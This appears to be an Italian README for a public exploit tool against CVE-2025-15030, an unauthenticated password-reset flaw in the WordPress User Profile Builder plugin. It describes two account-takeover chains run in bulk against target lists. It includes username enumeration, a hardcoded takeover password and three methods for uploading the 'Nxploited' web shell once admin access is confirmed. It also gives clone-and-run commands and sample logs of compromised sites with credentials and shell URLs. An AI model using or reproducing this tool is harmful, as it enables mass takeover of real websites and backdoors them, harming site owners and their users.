
User Profile Builder < 3.15.2 - Reimpostazione password arbitraria non autenticata
User Profile Builder < 3.15.2 - Reset Password Arbitrario Non Autenticato
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder per WordPress |
| Versioni interessate | Tutte le versioni precedenti alla 3.15.2 |
| Autenticazione | Non richiesta |
| Tipo | Reset Password Improprio — Compromissione Account Non Autenticata |
| CWE | CWE-640 · Meccanismo di Recupero Password Debole |
Causa principale:
Il flusso di recupero password del plugin Profile Builder (action2=recover_password2) non valida correttamente la chiave di reset né applica la scadenza del token. Inviando una POST appositamente costruita con un password_recovery_nonce_field2 valido estratto dalla pagina di reset, un attaccante non autenticato può impostare una nuova password per qualsiasi utente WordPress — inclusi gli amministratori — conoscendo solo il nome utente. Non è richiesta alcuna interazione via email né un token di reset valido.
Questo strumento implementa due catene di attacco indipendenti contro ogni bersaglio, entrambe seguite da un deployment opzionale della shell:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Posiziona Nxploited.zip nella stessa directory dello script per abilitare l'upload della shell. Lo strumento funziona anche senza, ma il deployment della shell verrà saltato.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
Password usata per tutti i tentativi di reset e login è fissa internamente:
Nxploited_adminSA
list.txt — Target (obbligatorio)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Link di Reset di Profile Builder (opzionale)Se hai catturato i link di reset password via email da Profile Builder, incollali qui uno per riga. Lo strumento:
password_recovery_nonce_field2 + userDataaction2=recover_password2https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
Lo strumento scopre automaticamente gli username WordPress utilizzando tre metodi prima di tentare il login:
| Metodo | Endpoint |
|---|---|
| Redirect autore | /?author=1 → /?author=10 |
| API REST | /wp-json/wp/v2/users |
| Euristica hostname | Prima etichetta del nome di dominio |
| Fallback predefinito | admin sempre incluso |
Ogni tentativo di login viene verificato rigorosamente prima di scrivere i risultati. Lo strumento controlla:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Un risultato viene scritto su disco solo quando vengono confermati ≥ 3 marcatori admin.
Dopo una sessione admin confermata, lo strumento tenta tre metodi di escalation in ordine:
| Metodo | Endpoint | Trigger |
|---|---|---|
| Upload Plugin | /wp-admin/update.php?action=upload-plugin | Carica Nxploited.zip tramite il modulo di installazione |
| API REST | /wp-json/wp/v2/plugins | POST ZIP diretta |
| Scrittura Editor | /wp-admin/plugin-editor.php | Scrive Nx.php tramite l'editor dei file |
Verifica della shell: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| File | Contenuto |
|---|---|
scan_results/wp_login_reset_success.txt | Accessi admin confermati tramite catena CORE |
scan_results/shells.txt | URL delle shell deployate con le credenziali |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php